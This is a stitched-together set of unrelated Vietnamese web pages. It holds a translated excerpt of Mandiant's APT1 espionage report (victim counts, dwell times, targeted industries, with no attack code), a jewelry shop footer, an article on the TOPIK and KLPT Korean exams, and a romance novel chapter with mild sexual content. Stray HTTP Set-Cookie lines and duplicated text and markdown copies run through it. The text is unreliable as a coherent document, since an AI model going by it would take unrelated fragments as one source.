Phần lớn các tổ chức bị APT1 nhắm đến đều sử dụng tiếng Anh. Tuy nhiên, chúng tôi cũng nhận thấy một số lượng nhỏ các nạn nhân không sử dụng tiếng Anh. Theo đó, 87% các nạn nhân của APT1 có trụ sở chính đặt tại các quốc gia sử dụng tiếng Anh là ngôn ngữ bản địa (xem hình dưới). Bao gồm 115 nạn nhân tại Mỹ và 7 nạn nhân tại Canada và Anh. Trong số 19 nạn nhân còn lại, 17 nạn nhân sử dụng tiếng Anh như ngôn ngữ chính thức trong các hoạt động. Danh sách các nạn nhân bao gồm các cơ quan phát triển và hợp tác quốc tế, các chính phủ nước ngoài sử dụng tiếng Anh là một trong nhiều ngôn ngữ chính thức, và các tập đoàn đa quốc gia chủ yếu tiến hành các hoạt động kinh doanh bằng tiếng Anh. Chỉ hai nạn nhân bị tấn công sử dụng ngôn ngữ khác ngoài tiếng Anh. Bởi vì thông thạo tiếng Anh là yêu cầu bắt buộc đối với phần lớn nhân viên của Đơn vị 61398 PLA, chúng tôi tin rằng hai nạn nhân không sử dụng tiếng Anh là trường hợp cá biệt đại diện cho các nhiệm vụ vượt ngoài hoạt động bình thường của APT1.
APT1 đã chứng minh khả năng và tham vọng đánh cắp tài liệu từ hàng chục tổ chức đang hoạt động trong một loạt ngành công nghiệp cùng một lúc. Hình dưới đây cung cấp cái nhìn tổng quát về ngày phát hiện sớm nhất các cuộc tấn công của APT1 chống lại 141 nạn nhân, được xếp thành 10 nhóm ngành công nghiệp lớn. Các kết quả cho thấy, nhiệm vụ hoạt động của APT1 rất rộng; tổ chức không phải tấn công các ngành công nghiệp một cách có hệ thống, mà dường như chỉ chú trọng đánh cắp thông tin từ một loạt các ngành công nghiệp. Do các tổ chức được liệt kê trong hình chỉ đại diện cho một phần nhỏ nạn nhân của APT1 mà chúng tôi xác định được, phạm vi của các ngành công nghiệp mà APT1 nhắm đến có thể rộng hơn rất nhiều so với những phát hiện của chúng tôi.
Hơn nữa, phạm vi của các hoạt động song song mà APT1 tiến hành cho thấy tổ chức có nguồn lực nhân sự và kỹ thuật khổng lồ để xử lý các dữ liệu. Ví dụ, hình 12 cho thấy chỉ trong tháng đầu năm 2011, APT1 đã thành công xâm nhập vào 17 nạn nhân mới đang hoạt động trong 10 ngành công nghiệp. Bởi vì tổ chức vẫn duy trì khai thác các mạng lưới máy tính của nạn nhân trung bình gần một năm kể từ ngày xâm nhập thành công, chúng tôi suy ra rằng APT1 vẫn tiến hành 17 vụ xâm nhập mới trong khi vẫn duy trì khai thác dữ liệu của các nạn nhân bị tấn công trước đó.
Chúng tôi tin rằng, tổ chức thuộc những ngành công nghiệp được xác định nằm trong ưu tiên chiến lược của Trung Quốc là những mục tiêu tiềm năng của chiến dịch gián điệp mạng toàn diện do APT1 tiến hành. Chúng tôi nhận thấy APT1 chủ yếu chĩa mũi nhọn tấn công vào các ngành công nghiệp (xem hình dưới), các quan sát cho thấy, tổ chức đã tấn công ít nhất 4 trong 7 ngành công nghiệp mũi nhọn chiến lược mà Trung Quốc đã xác định trong Kế hoạch 5 năm lần thứ 12. [25]
(Còn tiếp, mời bạn đón xem tiếp phần sau)
nguyentandung.org (lược dịch từ mandiant.com).
Chú thích:
[1] “Mike Rogers, phát biểu trước Hạ Viện Mỹ, Ủy ban Tình báo Thường trực, Phiên điều trần: Mối đe dọa mạng và những Nỗ lực đang thực hiện để bảo vệ quốc gia, phiên điều trần ngày 04/10/2011.
[2] “Tin tặc Trung Quốc bị nghi ngờ tấn công vào hệ thống máy tính của hãng tin The Washington Post”, Thời báo The Washington Post, ngày 01/02/2013.
[23] Hình cột thời gian cho thấy số lượng các tổ chức nạn nhân của APT1 mỗi năm ngày càng tăng, điều này phản ánh sự gia tăng trong các hoạt động tấn công của tổ chức APT1. Tuy nhiên, mức tăng này có thể đơn giản chỉ phản ánh khả năng quan sát của Mandiant trong các hoạt động của APT1 ngày càng được nâng cao do công ty ngày càng lớn mạnh, cũng như nhận thức về các hoạt động gián điệp mạng của nạn nhân đã được nâng cao.
[24] Ước tính dựa trên 91 trong số 141 tổ chức nạn nhân được công bố. Trong những trường hợp còn lại, hoạt động của APT1 vẫn đang được tiến hành hoặc chúng tôi không đủ năng lực xác định ngày cuối cùng APT1 hoạt động trên hệ thống bị nhiễm.
[25] Casey Joseph và Katherine Koleski, Nền tảng: Kế hoạch 5 năm lần thứ 12 của Trung Quốc, Ủy ban Đánh giá An ninh và Kinh tế Mỹ – Trung (2011).

markdown:
(
[Chuyên đề](/cat/chuyen-de)) - **MANDIANT – APT1**
**TIẾT LỘ VỀ MỘT TRONG NHỮNG ĐƠN VỊ GIÁN ĐIỆP MẠNG CỦA TRUNG QUỐC**
“Gián điệp kinh tế Trung Quốc đã vượt quá giới hạn, tôi tin rằng Mỹ và các đồng minh tại Châu Âu và Châu Á có nghĩa vụ chống lại Bắc Kinh và yêu cầu họ chấm dứt hành động trộm cắp này.
Bắc Kinh đang tiến hành một cuộc chiến tranh thương mại khổng lồ nhằm vào tất cả chúng ta, do đó chúng ta cần đoàn kết để gây áp lực buộc Trung Quốc phải dừng lại. Khi kết hợp lại, Mỹ cùng các đồng minh Châu Âu và Châu Á sẽ tạo ra áp lực đòn bẩy ngoại giao và kinh tế vô cùng to lớn đối với Trung Quốc, vì vậy chúng ta nên sử dụng lợi thế này để chấm dứt mối tai họa này.”
[[] 1] **- Dân biểu Mỹ Mike Rogers, tháng 10/2011**
“Thật thiếu trách nhiệm và vô căn cứ khi cáo buộc quân đội Trung Quốc phát động các cuộc tấn công mạng mà không có bất cứ bằng chứng thuyết phục nào.”
[[] 2] **- Bộ Quốc phòng Trung Quốc, tháng 01/2013** **PHẦN 2: APT1 – NHIỀU NĂM TIẾN HÀNH HOẠT ĐỘNG GIÁN ĐIỆP**
Những chứng cứ chúng tôi thu thập đã chỉ ra rằng, APT1 đã đánh cắp hành trăm terabytes dữ liệu từ ít nhất 141 tổ chức đang hoạt động trong một loạt ngành công nghiệp kể từ năm 2006. Đáng ngại hơn, APT1 từng phát động tấn công hàng chục tổ chức cùng một lúc. Một khi đã thành công thiết lập quyền truy cập vào hệ thống máy tính của nạn nhân, APT1 sẽ tiếp tục truy cập theo định kỳ vài tháng hoặc vài năm nhằm đánh cắp khối lượng lớn sở hữu trí tuệ có giá trị, bao gồm các bản thiết kế kỹ thuật, quy trình sản xuất độc quyền, các kết quả thử nghiệm, kế hoạch kinh doanh, các tài liệu định giá, thỏa thuận hợp tác, email và danh sách liên lạc từ ban lãnh đạo các tổ chức nạn nhân. Chúng tôi cho rằng, những hoạt động Mandiant trực tiếp theo dõi được chỉ là một phần nhỏ trong số các hoạt động gián điệp mà APT1 đã tiến hành.
![ ](http://cdn9.trandaiquang.biz/files/2013/06/so-do-bieu-hien-su-tan-cong.jpg)
Cột thời gian (bên trái) liệt kê thời điểm phát hiện sớm nhất các cuộc tấn công của APT1 trên hệ thống mạng của 141 tổ chức nạn nhân mà mandiant quan sát được.
**APT1 đặt ra mối lo ngại “dai dẳng” về các cuộc tấn công APT**
Từ năm 2006 chúng tôi đã chứng kiến APT1 liên tục gia tăng khả năng tiếp cận các nạn nhân mới. Hình 10 cho thấy dòng thời gian xảy ra 141 vụ xâm nhập mà chúng tôi quan sát được, mỗi điểm đánh dấu trên hình đại diện cho một nạn nhân riêng biệt và cho thấy ngày phát hiện sớm nhất cuộc tấn công của APT1 trên hệ thống mạng của tổ chức nạn nhân.
[[ 23]](#23) [ẩn](#)]
Do tính chất không bền vững của các chứng cứ điện tử, một số ngày phát hiện các cuộc tấn công của APT1 được liệt kê trên hình có thể không đúng với thời gian hoạt động thực tế của APT1 trên các hệ thống bị nhiễm.
Một khi đã thành công xâm nhập vào mạng lưới, tổ chức APT1 sẽ liên tục giám sát và đánh cắp các dữ liệu độc quyền cũng như thông tin liên lạc của nạn nhân trong nhiều tháng, thậm chí nhiều năm. Đối với các tổ chức nạn nhân được liệt kê trong Hình 10, chúng ta thấy rằng APT1 đã giữ quyền truy cập vào mạng lưới máy tính của nạn nhân trung bình trong 356 ngày
[[ 24]](#24). Thời gian APT1 duy trì quyền truy cập dài nhất vào hệ thống máy tính nạn nhân là ít nhất 1.764 ngày, tương đương 4 năm 10 tháng. APT1 không liên tục truy cập trong suốt khoảng thời gian này; tuy nhiên trong phần lớn trường hợp chúng tôi quan sát, APT1 đều tiếp tục đánh cắp dữ liệu cũng như truy cập vào các hệ thống bị nhiễm. **Khu vực địa lý và ngành công nghiệp trọng điểm của APT1**
Phần lớn các tổ chức bị APT1 nhắm đến đều sử dụng tiếng Anh. Tuy nhiên, chúng tôi cũng nhận thấy một số lượng nhỏ các nạn nhân không sử dụng tiếng Anh. Theo đó, 87% các nạn nhân của APT1 có trụ sở chính đặt tại các quốc gia sử dụng tiếng Anh là ngôn ngữ bản địa (xem hình dưới). Bao gồm 115 nạn nhân tại Mỹ và 7 nạn nhân tại Canada và Anh. Trong số 19 nạn nhân còn lại, 17 nạn nhân sử dụng tiếng Anh như ngôn ngữ chính thức trong các hoạt động. Danh sách các nạn nhân bao gồm các cơ quan phát triển và hợp tác quốc tế, các chính phủ nước ngoài sử dụng tiếng Anh là một trong nhiều ngôn ngữ chính thức, và các tập đoàn đa quốc gia chủ yếu tiến hành các hoạt động kinh doanh bằng tiếng Anh. Chỉ hai nạn nhân bị tấn công sử dụng ngôn ngữ khác ngoài tiếng Anh. Bởi vì thông thạo tiếng Anh là yêu cầu bắt buộc đối với phần lớn nhân viên của Đơn vị 61398 PLA, chúng tôi tin rằng hai nạn nhân không sử dụng tiếng Anh là trường hợp cá biệt đại diện cho các nhiệm vụ vượt ngoài hoạt động bình thường của APT1.
![ ](http://cdn9.trandaiquang.biz/files/2013/06/vi-tri-dia-ly-100613.jpg)
Vị trí địa lý các nạn nhân của APT1. Trong trường hợp các nạn nhân hoạt động tại nhiều quốc gia, vị trí hiển thị là chi nhánh của tổ chức nạn nhân mà APT1 tấn công (được xác định), hoặc là trụ sở chính của tổ chức.
APT1 đã chứng minh khả năng và tham vọng đánh cắp tài liệu từ hàng chục tổ chức đang hoạt động trong một loạt ngành công nghiệp cùng một lúc. Hình dưới đây cung cấp cái nhìn tổng quát về ngày phát hiện sớm nhất các cuộc tấn công của APT1 chống lại 141 nạn nhân, được xếp thành 10 nhóm ngành công nghiệp lớn. Các kết quả cho thấy, nhiệm vụ hoạt động của APT1 rất rộng; tổ chức không phải tấn công các ngành công nghiệp một cách có hệ thống, mà dường như chỉ chú trọng đánh cắp thông tin từ một loạt các ngành công nghiệp. Do các tổ chức được liệt kê trong hình chỉ đại diện cho một phần nhỏ nạn nhân của APT1 mà chúng tôi xác định được, phạm vi của các ngành công nghiệp mà APT1 nhắm đến có thể rộng hơn rất nhiều so với những phát hiện của chúng tôi.
Hơn nữa, phạm vi của các hoạt động song song mà APT1 tiến hành cho thấy tổ chức có nguồn lực nhân sự và kỹ thuật khổng lồ để xử lý các dữ liệu. Ví dụ, hình 12 cho thấy chỉ trong tháng đầu năm 2011, APT1 đã thành công xâm nhập vào 17 nạn nhân mới đang hoạt động trong 10 ngành công nghiệp. Bởi vì tổ chức vẫn duy trì khai thác các mạng lưới máy tính của nạn nhân trung bình gần một năm kể từ ngày xâm nhập thành công, chúng tôi suy ra rằng APT1 vẫn tiến hành 17 vụ xâm nhập mới trong khi vẫn duy trì khai thác dữ liệu của các nạn nhân bị tấn công trước đó.
![ ](http://cdn9.trandaiquang.biz/files/2013/06/khung-thoi-gian-apt1.jpg)
Khung thời gian các hoạt động gián điệp mạng do APT1 tiến hành chống lại hàng loạt tổ chức thuộc ngành công nghiệp. Các dấu chấm trong mỗi thanh thể hiện ngày phát hiện sớm nhất các vụ tấn công của APT1 nhằm vào tổ chức mới trong từng ngành công nghiệp.
Chúng tôi tin rằng, tổ chức thuộc những ngành công nghiệp được xác định nằm trong ưu tiên chiến lược của Trung Quốc là những mục tiêu tiềm năng của chiến dịch gián điệp mạng toàn diện do APT1 tiến hành. Chúng tôi nhận thấy APT1 chủ yếu chĩa mũi nhọn tấn công vào các ngành công nghiệp (xem hình dưới), các quan sát cho thấy, tổ chức đã tấn công ít nhất 4 trong 7 ngành công nghiệp mũi nhọn chiến lược mà Trung Quốc đã xác định trong Kế hoạch 5 năm lần thứ 12.
[[ 25]](#25) ![ ](http://cdn9.trandaiquang.biz/files/2013/06/so-luong-nan-nhan-apt1-100813.jpg)
Số lượng các ngành công nghiệp là nạn nhân của APT1. Chúng tôi xác định nhóm ngành công nghiệp mà tổ chức nạn nhân đang hoạt động dựa trên việc xem xét phân loại các ngành công nghiệp trên hệ thống cung cấp miễn phí thông tin về các doanh nghiệp của trang Hoovers. 26 Chúng tôi cũng xem xét nội dung các dữ liệu mà APT1 đánh cắp trong từng trường hợp với mức độ thông tin sẵn có.
*(Còn tiếp, mời bạn đón xem tiếp phần sau)* **nguyentandung.org** (lược dịch từ **mandiant.com**) **.** **Chú thích:** **[1]** “Mike Rogers, phát biểu trước Hạ Viện Mỹ, Ủy ban Tình báo Thường trực, Phiên điều trần: [Mối đe dọa mạng và những Nỗ lực đang thực hiện](http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/100411CyberHearingRogers.pdf) để bảo vệ quốc gia, phiên điều trần ngày 04/10/2011. **[2] **“Tin tặc Trung Quốc bị nghi ngờ tấn công vào hệ thống máy tính của hãng tin The Washington Post”, Thời báo [The Washington Post](http://www.washingtonpost.com/business/technology/chinese-hackers-suspected-in-attack-on-the-posts-computers/2013/02/01/d5a44fde-6cb1-11e2-bd36-c0fe61a205f6_story.html), ngày 01/02/2013. **[23] **Hình cột thời gian cho thấy số lượng các tổ chức nạn nhân của APT1 mỗi năm ngày càng tăng, điều này phản ánh sự gia tăng trong các hoạt động tấn công của tổ chức APT1. Tuy nhiên, mức tăng này có thể đơn giản chỉ phản ánh khả năng quan sát của Mandiant trong các hoạt động của APT1 ngày càng được nâng cao do công ty ngày càng lớn mạnh, cũng như nhận thức về các hoạt động gián điệp mạng của nạn nhân đã được nâng cao. **[24] **Ước tính dựa trên 91 trong số 141 tổ chức nạn nhân được công bố. Trong những trường hợp còn lại, hoạt động của APT1 vẫn đang được tiến hành hoặc chúng tôi không đủ năng lực xác định ngày cuối cùng APT1 hoạt động trên hệ thống bị nhiễm. **[25] **Casey Joseph và Katherine Koleski, Nền tảng: Kế hoạch 5 năm lần thứ 12 của Trung Quốc, [Ủy ban Đánh giá An ninh và Kinh tế Mỹ – Trung](http://www.uscc.gov/researchpapers/2011/12th-FiveYearPlan_062811.pd) (2011).

Set-Cookie: desktop=true


text:
219B Khâm Thiên - Hà Nội
0912.308.130 - 096.396.3316
Giá (1k=1000đ)
Trang sức bạc Shaiya được nghệ nhân quốc gia Lã Thanh Tùng thành lập từ năm 1995 với ngành nghề chủ yếu là bán buôn, bán lẻ, gia công, thiết kế và chế tác bạc 925 – không xi mạ.
Mã số thuế: a123456qwer
Địa chỉ: 219B Khâm Thiên - Hà Nội
Điện thoại: 024 3533 1227 - 024 3533 1227
Hotline: 0912.308.130 - 096.396.3316
Email: info@trangsucshaiya.com
Sản phẩm
Hỗ trợ khách hàng
Được chứng nhận
Thanh toán qua
Bản đồ đường đi
Bản quyền thuộc về Trang Sức Shaiya
Đang online: 5
Đã truy cập: 171338


text:
Hãy chia sẻ với bạn bè nếu bạn thấy bổ ích !
Thông tin kỳ thi tiếng hàn KLPT và TOPIK
Tìm hiểu thông tin chi tiết về hai cuộc kiểm tra tiếng Hàn này sẽ giúp bạn đánh giá khả năng giao tiếp thực tế tiếng Hàn Quốc của mình.
Trước đây, chỉ có một số ít người nước ngoài định cư - chủ yếu đến từ phương Tây – đang sinh sống tại Hàn Quốc hoặc một số học giả đang nghiên cứu về Hàn Quốc và khu vực mới có động cơ học tiếng Hàn. Vào cuối những năm 1990, khi Hàn Quốc bắt đầu mở cửa chào đón các lao động nước ngoài, chủ yếu đối với những ngành cần nhiều lao động và các lĩnh vực kinh doanh khác, thì một kỹ năng tiếng Hàn cơ bản là điều kiện tiên quyết cho những ai muốn tìm kiếm việc làm tại đất nước này.
Ngoài ra, sự quan tâm ngày càng cao đối với Làn sóng Hàn Quốc hay sự phổ biến của nội dung văn hoá Hàn Quốc, như điện ảnh Hàn Quốc, phim truyền hình và các sản phẩm văn hoá được chào đón khắp châu Á và những khu vực khác, cũng là một lý do đẩy mạnh việc học tiếng Hàn. Các cuộc kiểm tra tiếng Hàn đang được tiến hành ở trên 30 quốc gia khắp thế giới, đứng đầu danh sách là Trung Quốc, tiếp theo đó là Nhật Bản, Đài Loan, Việt Nam, Uzbekistan, Thái Lan, Myanmar và Nga.
Có hai loại thi tiếng Hàn chính: TOPIK (Thi Năng lực tiếng Hàn) do Viện Đánh giá và Chương trình Giáo dục Hàn Quốc (KICE) tiến hành và KLPT (Thi Năng lực tiếng Hàn) do Hội Ngôn ngữ Hàn Quốc tiến hành.
TOPIK có hai loại bài thi: S-TOPIK (tiếng Hàn chuẩn) và B-TOPIK (tiếng Hàn thương mại). Mỗi bài thi được đánh giá ở 4 phần chính như từ vựng, ngữ pháp, viết, nghe và đọc.
TOPIK thường diễn ra mỗi năm 2 lần vào tháng 4 và tháng 9. Có 6 cấp độ thi. S-TOPIK chủ yếu bao gồm các câu hỏi trắc nghiệm và mỗi bài gồm 100 câu hỏi hoàn thành trong 90 phút. Tổng số điểm của các câu hỏi là 400. B-TOPIK tập trung vào tiếng Hàn thực tiễn gồm 120 câu hỏi và cũng cần hoàn thành trong 90 phút. Tổng điểm cũng là 400.
KLPT cũng gồm 2 loại: KLPT và B-KLPT (KLPT của người bắt đầu học). KLPT tập trung nhiều hơn vào kỹ năng giao tiếp thực tế cần thiết cho cuộc sống tại Hàn Quốc. Bài thi này bao gồm nghe, từ vựng, ngữ pháp, đọc và hội thoại. Tổng điểm của KLPT là 500 và hoàn thành trong 110 phút. B-KLPT đặc biệt hướng tới đối tượng các thí sinh học tiếng Hàn trong 150-200 tiếng. Bài thi loại này bao gồm phần nghe kết hợp với ảnh và hội thoại và phần đọc kết hợp với từ vựng, ngữ pháp, đọc hiểu và thông tin thực tiễn khác. Có tổng cộng 50 câu hỏi phải hoàn thành trong 90 phút và tổng điểm là 200.
KLPT và B-KLPT lần lượt diễn ra 2 lần một năm, thường vào ngày chủ nhật thứ 4 của tháng 1, tháng 4, tháng 7 và tháng 10. Cả TOPIK và KLPT đều nhận đơn thi trực tuyến. Bạn có thể tải bài thi mẫu từ các website có liên quan.
Dù TOPIK và KLPT đều phù hợp cho những người đang kiếm việc làm hoặc cơ hội học tập tại Hàn Quốc nhưng TOPIK có thể đuợc xem là mang tính học thuật nhiều hơn, phù hợp với mục đích học tập. Mặt khác KLPT lại phù hợp với những ai đang tìm kiếm việc làm tại các doanh nghiệp nói tiếng Hàn. Lý do bởi vì TOPIK do Bộ Giáo dục làm đơn vị chủ quản trong khi KLPT do Bộ Tư pháp – cơ quan chịu trách nhiệm về nhập cư vào Hàn Quốc làm chủ quản. Thêm vào đó, vượt qua cấp độ số 3 (trong 6 cấp độ) của TOPIK là điều cần thiết cho những ai muốn có được visa F5 nếu họ không kết hôn với người Hàn Quốc
Trên đây là những chia sẻ của trung tâm tiếng Hàn SOFL về thông tin kỳ thi tiếng hàn KLPT và TOPIK.
Ngoài ra, các bạn có thể tham khảo thêm chương trình học tiếng hàn trực tuyến lần đầu tiên xuất hiện tại Việt Nam, có thể học cùng giáo viên bản sứ. Chúc mọi người học tốt !!
Bài viết liên quan

markdown:
Hãy chia sẻ với bạn bè nếu bạn thấy bổ ích !
*Thông tin kỳ thi tiếng hàn KLPT và TOPIK*
Tìm hiểu thông tin chi tiết về hai cuộc kiểm tra tiếng Hàn này sẽ giúp bạn đánh giá khả năng giao tiếp thực tế tiếng Hàn Quốc của mình.
Trước đây, chỉ có một số ít người nước ngoài định cư - chủ yếu đến từ phương Tây – đang sinh sống tại Hàn Quốc hoặc một số học giả đang nghiên cứu về Hàn Quốc và khu vực mới có động cơ học tiếng Hàn. Vào cuối những năm 1990, khi Hàn Quốc bắt đầu mở cửa chào đón các lao động nước ngoài, chủ yếu đối với những ngành cần nhiều lao động và các lĩnh vực kinh doanh khác, thì một kỹ năng tiếng Hàn cơ bản là điều kiện tiên quyết cho những ai muốn tìm kiếm việc làm tại đất nước này.
Ngoài ra, sự quan tâm ngày càng cao đối với Làn sóng Hàn Quốc hay sự phổ biến của nội dung văn hoá Hàn Quốc, như điện ảnh Hàn Quốc, phim truyền hình và các sản phẩm văn hoá được chào đón khắp châu Á và những khu vực khác, cũng là một lý do đẩy mạnh việc học tiếng Hàn. Các cuộc kiểm tra tiếng Hàn đang được tiến hành ở trên 30 quốc gia khắp thế giới, đứng đầu danh sách là Trung Quốc, tiếp theo đó là Nhật Bản, Đài Loan, Việt Nam, Uzbekistan, Thái Lan, Myanmar và Nga.
Có hai loại thi tiếng Hàn chính: TOPIK (Thi Năng lực tiếng Hàn) do Viện Đánh giá và Chương trình Giáo dục Hàn Quốc (KICE) tiến hành và KLPT (Thi Năng lực tiếng Hàn) do Hội Ngôn ngữ Hàn Quốc tiến hành.
TOPIK có hai loại bài thi: S-TOPIK (tiếng Hàn chuẩn) và B-TOPIK (tiếng Hàn thương mại). Mỗi bài thi được đánh giá ở 4 phần chính như từ vựng, ngữ pháp, viết, nghe và đọc.
TOPIK thường diễn ra mỗi năm 2 lần vào tháng 4 và tháng 9. Có 6 cấp độ thi. S-TOPIK chủ yếu bao gồm các câu hỏi trắc nghiệm và mỗi bài gồm 100 câu hỏi hoàn thành trong 90 phút. Tổng số điểm của các câu hỏi là 400. B-TOPIK tập trung vào tiếng Hàn thực tiễn gồm 120 câu hỏi và cũng cần hoàn thành trong 90 phút. Tổng điểm cũng là 400.
KLPT cũng gồm 2 loại: KLPT và B-KLPT (KLPT của người bắt đầu học). KLPT tập trung nhiều hơn vào kỹ năng giao tiếp thực tế cần thiết cho cuộc sống tại Hàn Quốc. Bài thi này bao gồm nghe, từ vựng, ngữ pháp, đọc và hội thoại. Tổng điểm của KLPT là 500 và hoàn thành trong 110 phút. B-KLPT đặc biệt hướng tới đối tượng các thí sinh học tiếng Hàn trong 150-200 tiếng. Bài thi loại này bao gồm phần nghe kết hợp với ảnh và hội thoại và phần đọc kết hợp với từ vựng, ngữ pháp, đọc hiểu và thông tin thực tiễn khác. Có tổng cộng 50 câu hỏi phải hoàn thành trong 90 phút và tổng điểm là 200.
KLPT và B-KLPT lần lượt diễn ra 2 lần một năm, thường vào ngày chủ nhật thứ 4 của tháng 1, tháng 4, tháng 7 và tháng 10. Cả TOPIK và KLPT đều nhận đơn thi trực tuyến. Bạn có thể tải bài thi mẫu từ các website có liên quan.
Dù TOPIK và KLPT đều phù hợp cho những người đang kiếm việc làm hoặc cơ hội học tập tại Hàn Quốc nhưng TOPIK có thể đuợc xem là mang tính học thuật nhiều hơn, phù hợp với mục đích học tập. Mặt khác KLPT lại phù hợp với những ai đang tìm kiếm việc làm tại các doanh nghiệp nói tiếng Hàn. Lý do bởi vì TOPIK do Bộ Giáo dục làm đơn vị chủ quản trong khi KLPT do Bộ Tư pháp – cơ quan chịu trách nhiệm về nhập cư vào Hàn Quốc làm chủ quản. Thêm vào đó, vượt qua cấp độ số 3 (trong 6 cấp độ) của TOPIK là điều cần thiết cho những ai muốn có được visa F5 nếu họ không kết hôn với người Hàn Quốc
Trên đây là những chia sẻ của trung tâm tiếng Hàn SOFL về
[ thông tin kỳ thi tiếng hàn KLPT và TOPIK](http://trungtamtienghan.edu.vn/news/Hoc-Nghe-Hieu-Qua/Thong-tin-ky-thi-tieng-han-KLPT-va-TOPIK-46/).
**Ngoài ra, các bạn có thể tham khảo thêm chương trình học tiếng hàn trực tuyến lần đầu tiên xuất hiện tại Việt Nam, có thể học cùng giáo viên bản sứ. Chúc mọi người học tốt !!** **Bài viết liên quan**

Set-Cookie: nv3c_V78mo_nvvithemever=mQ%2C%2C; expires=Tue, 18-Jun-2019 21:13:28 GMT; Max-Age=31536000; path=/; domain=.trungtamtienghan.edu.vn; httponly

Vary: Accept-Encoding,User-Agent


text:
Chọn lọc
Truyện Đọc Nhiều
Truyện Đánh Giá Cao
Truyện Full
Truyện Mới
Thể Loại
Truyện Ngôn tình
Truyện Teen
Truyện Xuyên Không
Truyện Đô thị
Truyện Tiên hiệp
Truyện Kiếm hiệp
Tìm truyện
Trang chủ
Truyện Ngôn Tình
Khí Người Cũ, Đón Người Mới
Khí Người Cũ, Đón Người Mới
Khí Người Cũ, Đón Người Mới
Tác giả: Gia Diệp Mạn
Chương 43: Khí Người Cũ, Đón Người Mới
Trước
Tiếp
Mộ Tây từng đọc một bài báo trên một diễn đàn trên mạng của phụ nữ nói rằng, thời điểm hạnh phúc nhất của người chủ diễn đàn là khi cái người đàn ông ngốc nghếch của cô buổi sáng sau khi hòa hoãn, đã mặc tạp dề chạy xung quanh giường của cô và hỏi rằng cô muốn ăn gì?
Đàn ông có thể không đẹp trai, có thể không có tiền nhưng phải là người yêu thương người phụ nữ của mình, mà người đàn bà cho dù bên ngoài có mạnh mẽ đến mấy đi chăng nữa vẫn luôn mong có người che chở cho mình, yêu thương mình. Trên thang bậc hạnh phúc, mỗi người đều bình đẳng như nhau.
Từ trên giường đi xuống tìm nước uống, Mộ Tây kinh ngạc thấy Lục Nhược đang nghiêm chỉnh mặc tạp dề, đứng cạnh bàn bếp.
“Tách” một cái vỏ trứng gà rơi trên mặt bàn bếp, phần lòng trứng còn chưa rơi ra liền được nhanh chóng cho vào trong bát, quấy đều rất thành thạo.
Trong miệng Mộ Tây vẫn còn đang ngậm nước chưa kịp nuốt xuống, anh từ khi nào trông lại “hiền lành” như vậy? Lúc trước ngay cả mì ăn liền cũng còn lười nấu.
Lục Nhược quay đầu hắt xì một cái, để bát trứng một bên rút tờ giấy ăn lau nước mũi.
Mộ Tây đi đến ôm lấy anh dựa vào cọ xát, anh mặc trên người vẫn là áo trắng cô mua cho anh hôm qua, giặt xong phơi nắng một ngày bậy giờ vẫn có thể ngửi được mùi thơm của nắng: “Có phải bị lạnh rồi không?”
Lục Nhược cúi đầu nhìn đôi tay trắng nõn nà tinh tế đặt ở trên thắt lưng mình, so với quá khứ, trông giống nhau nhưng đôi tay trông nhu nhược là vậy lại có thể chèo chống một cái gia đình thật tốt.
Tiếng vải cọ sát, Lục Nhược xoay người lại ôm lấy cô: “Đều tại em đấy, hôm qua không chịu ngủ cùng cả đêm rất lạnh.”
Đúng là trơn như trạch, anh thế nào cũng nói được! Mộ Tây dở khóc dở cười nhận lấy nụ hôn đang rơi xuống. Tối hôm qua, Tiểu Đào lại bị sốt rất cao, Mộ Tây liền ôm con ngủ, Lục Nhược đề nghị ba người cùng ngủ nhưng bị cô từ chối thẳng thừng.
Mộ Tây bị anh hôn có phần choáng váng, anh ôm cô đặt lên bàn ăn. Trên bếp nồi nước sôi bốc khói nghi ngút, môi của anh đi lạc xuống dưới: “Nhị Tây, anh rất yêu em, thật đấy…. anh yêu em!”
“Em biết.” Mộ Tây rất nhanh cởi bỏ tạp dề trên người anh “Anh học ai nấu canh vậy?” Sau này khi chính thức quay về với nhau xong, Lục Nhược mỗi ngày đều lải nhải chuyện này bên tai cô đến mấy lần.
“Học từ chị Hai, Nhị ca ở bên cạnh chỉ đạo thêm.” Lục Nhược buồn bực đừng lên, thật sự học nấu ăn cũng là một việc vô cùng gian nan. Tần Tiểu Mạn sợ đến thất kinh hồn vía, sợ anh đốt căn bếp nhà cô thành tro, mà Cố Lãng lại là người có tâm hồn xấu xa, luôn đứng một bên cười nhạo, một bên chỉ chỉ vào đám khoai tây anh đang thái cười nhe nhởn: “Vì muốn em không bỏ đi cả đấy! Nhị Tây, chân mở ra một chút!”
“Không được Tiểu Đào sắp tỉnh rồi! Lửa cũng sắp tắt rồi kìa.”
Lục Nhược lưu luyên rút tay ra khỏi váy cô, mắt đói khát nhìn cô: “Buổi tối xem anh xử em thế nào!”
“Liệu nhìn trời mà hái sao thôi!” Mộ Tây đỏ mặt rời khỏi cái bàn ăn, mắt thấy chiếc môi bị anh đánh rơi xuống đất cúi người nhặt lên tiện tay bắt lấy tay anh: “Anh còn phải rửa tay cái đã!” Nói xong, kéo tay anh đến bên chậu rửa, lại nghe thấy tiếng cười không phúc hậu của anh.
Mộ Tây xấu hổ trừng mắt với anh một cái, Lục Nhược cười rộ lên, tay anh nhanh chóng bắt lấy tay cô, tay kia mở vòi nước. Mười đầu ngón tay dây dưa trong nước bắn nước tung tóe, Lục Nhược đem ngón tay khẽ cài vào tay cô, bất chợt đẩy cô dính vào tường: “Còn sợ bẩn nữa không?”
“Thật là!?!?!?” Mộ Tây nhấc một chân lên đá anh, nhưng cô làm sao nhanh hơn Lục Nhược được. Bị anh tóm lấy ngược lại chân tay lại càng chạy không thoát.
“Bố di động của bố này!”
Hai người đang nháo loạn, thì Tiểu Đào đem điện thoại chạy vào.
Dưới ánh mắt căm tức của Mộ Tây, Lục Nhược đành rút bàn tay đang đặt ở trước ngực về.
“Tiểu Đào trên mặt con nốt đỏ đã lặn bớt đi rồi kìa!” Mộ Tây ngồi xuống xem xét qua lại gương mặt cuả Tiểu Đào, rất vui vẻ kéo con vào lòng: “Thật tốt, cuối cùng cũng đã đỡ rồi!” Cúi đầu lấy trán đo nhiệt độ cơ thể con: “Cũng không còn sốt nữa! Thật là tốt quá!”
“Mẹ….” Tiểu Đào bị Mộ Tây qua quần áo sờ sờ mông của nó làm nó thấy không được tự nhiên, hai má hơi hồng hồng: “Bố di động đang kêu kìa!”
